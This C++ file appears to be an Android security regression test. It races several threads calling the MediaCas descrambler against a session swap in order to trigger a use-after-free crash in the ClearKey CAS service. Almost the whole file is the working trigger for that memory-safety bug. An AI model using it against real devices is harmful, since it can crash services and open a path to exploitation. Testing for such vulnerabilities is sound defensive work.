1 /*
2 * Copyright (C) 2019 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include <android/hardware/cas/1.0/ICas.h>
18 #include <android/hardware/cas/1.0/IMediaCasService.h>
19 #include <android/hardware/cas/native/1.0/IDescrambler.h>
20 #include <binder/MemoryHeapBase.h>
21 #include <utils/StrongPointer.h>
22
23 #include <stdio.h>
24
25 #include "../includes/common.h"
26
27 using ::android::MemoryHeapBase;
28 using ::android::sp;
29 using ::android::hardware::hidl_handle;
30 using ::android::hardware::hidl_memory;
31 using ::android::hardware::hidl_string;
32 using ::android::hardware::hidl_vec;
33 using ::android::hardware::Return;
34 using namespace android::hardware::cas::V1_0;
35 using namespace android::hardware::cas::native::V1_0;
36
37 #define CLEARKEY_SYSTEMID (0xF6D8)
38
39 #define THREADS_NUM (5)
40
41 typedef enum {
42 RESULT_CRASH,
43 RESULT_SESSION1,
44 RESULT_SESSION2,
45 } thread_result_t;
46
47 // Taken from cts/tests/tests/media/src/android/media/cts/MediaCasTest.java
48 static const char *provision_str =
49 "{ "
50 " \"id\": 21140844, "
51 " \"name\": \"Test Title\", "
52 " \"lowercase_organization_name\": \"Android\", "
53 " \"asset_key\": { "
54 " \"encryption_key\": \"nezAr3CHFrmBR9R8Tedotw==\" "
55 " }, "
56 " \"cas_type\": 1, "
57 " \"track_types\": [ ] "
58 "} ";
59 static const uint8_t ecm_buffer[] = {
60 0x00, 0x00, 0x01, 0xf0, 0x00, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00,
61 0x01, 0x00, 0x46, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
62 0x00, 0x01, 0x00, 0x00, 0x27, 0x10, 0x02, 0x00, 0x01, 0x77, 0x01,
63 0x42, 0x95, 0x6c, 0x0e, 0xe3, 0x91, 0xbc, 0xfd, 0x05, 0xb1, 0x60,
64 0x4f, 0x17, 0x82, 0xa4, 0x86, 0x9b, 0x23, 0x56, 0x00, 0x01, 0x00,
65 0x00, 0x00, 0x01, 0x00, 0x00, 0x27, 0x10, 0x02, 0x00, 0x01, 0x77,
66 0x01, 0x42, 0x95, 0x6c, 0xd7, 0x43, 0x62, 0xf8, 0x1c, 0x62, 0x19,
67 0x05, 0xc7, 0x3a, 0x42, 0xcd, 0xfd, 0xd9, 0x13, 0x48,
68 };
69
70 static sp<IDescrambler> descrambler;
71 static pthread_barrier_t barrier;
72
thread_func(void *)73 static void *thread_func(void *) {
74 // Prepare everything needed for an encrypted run of descramble
75
76 sp<MemoryHeapBase> heap = new MemoryHeapBase(0x1000);
77
78 native_handle_t *handle = native_handle_create(1, 0);
79 handle->data[0] = heap->getHeapID();
80
81 SharedBuffer src;
82 src.offset = 0;
83 src.size = 0x1000;
84 src.heapBase = hidl_memory("ashmem", hidl_handle(handle), heap->getSize());
85
86 DestinationBuffer dst;
87 dst.type = BufferType::SHARED_MEMORY;
88 dst.nonsecureMemory = src;
89
90 hidl_vec<SubSample> subsamples;
91 SubSample subsample_arr[0x100] = {
92 {.numBytesOfClearData = 0, .numBytesOfEncryptedData = 0x10}};
93 subsamples.setToExternal(subsample_arr, 0x100);
94
95 Status descramble_status;
96
97 // Wait for all other threads
98 pthread_barrier_wait(&barrier);
99
100 // Run descramble
101 Return<void> descramble_result = descrambler->descramble(
102 ScramblingControl::EVENKEY, subsamples, src, 0, dst, 0,
103 [&](Status status, uint32_t, const hidl_string &) {
104 descramble_status = status;
105 });
106
107 // Cleanup
108 native_handle_delete(handle);
109
110 if (!descramble_result.isOk()) {
111 // Service crashed, hurray!
112 return (void *)RESULT_CRASH;
113 }
114
115 // If descramble was successful then the session had a valid key, so it was
116 // session1. Otherwise it was session2.
117 return (void *)(descramble_status == Status::OK ? RESULT_SESSION1
118 : RESULT_SESSION2);
119 }
120
main()121 int main() {
122 // Prepare cas & descrambler objects
123
124 sp<IMediaCasService> service = IMediaCasService::getService();
125 FAIL_CHECK(service != NULL);
126
127 sp<ICas> cas = service->createPlugin(CLEARKEY_SYSTEMID, NULL);
128 FAIL_CHECK(cas->provision(provision_str) == Status::OK)
129
130 sp<IDescramblerBase> descramblerBase =
131 service->createDescrambler(CLEARKEY_SYSTEMID);
132 descrambler = IDescrambler::castFrom(descramblerBase);
133
134 time_t timer = start_timer();
135 while (timer_active(timer)) {
136 // Prepare sessions
137 Status opensession_status;
138 hidl_vec<uint8_t> session1;
139 cas->openSession([&](Status status, const hidl_vec<uint8_t> &sessionId) {
140 opensession_status = status;
141 session1 = sessionId;
142 });
143 FAIL_CHECK(opensession_status == Status::OK);
144 // Add a key to the first session. This will make descramble work only on
145 // the first session, helping us differentiate between the sessions for
146 // debugging.
147 hidl_vec<uint8_t> ecm;
148 ecm.setToExternal((uint8_t *)ecm_buffer, sizeof(ecm_buffer));
149 FAIL_CHECK(cas->processEcm(session1, ecm) == Status::OK);
150
151 hidl_vec<uint8_t> session2;
152 cas->openSession([&](Status status, const hidl_vec<uint8_t> &sessionId) {
153 opensession_status = status;
154 session2 = sessionId;
155 });
156 FAIL_CHECK(opensession_status == Status::OK);
157
158 // Set the descrambler's session to session1, then close it (and remove it
159 // from the sessions map). This way the only reference on the service to
160 // session1 will be from descrambler's session.
161 FAIL_CHECK(descrambler->setMediaCasSession(session1) == Status::OK);
162 FAIL_CHECK(cas->closeSession(session1) == Status::OK);
163
164 // Prepare the threads which run descramble
165 FAIL_CHECK(pthread_barrier_init(&barrier, NULL, THREADS_NUM + 1) == 0);
166 pthread_t threads[THREADS_NUM];
167 for (size_t i = 0; i < THREADS_NUM; i++) {
168 FAIL_CHECK(pthread_create(threads + i, NULL, thread_func, NULL) == 0);
169 }
170
171 // Let the threads run by waiting on the barrier. This means that past this
172 // point all threads will run descramble.
173 pthread_barrier_wait(&barrier);
174
175 // While the threads are running descramble, change the descrambler session
176 // to session2. Hopefully this will cause a use-after-free through a race
177 // condition, session1's reference count will drop to 0 so it will be
178 // released, but one thread will still run descramble on the released
179 // session.
180 FAIL_CHECK(descrambler->setMediaCasSession(session2) == Status::OK);
181
182 // Go over thread results
183 for (size_t i = 0; i < THREADS_NUM; i++) {
184 thread_result_t thread_result;
185 FAIL_CHECK(pthread_join(threads[i], (void **)&thread_result) == 0);
186 if (thread_result == RESULT_CRASH) {
187 return EXIT_VULNERABLE;
188 }
189 }
190
191 // Cleanup
192 FAIL_CHECK(cas->closeSession(session2) == Status::OK);
193 FAIL_CHECK(pthread_barrier_destroy(&barrier) == 0);
194 }
195 }
196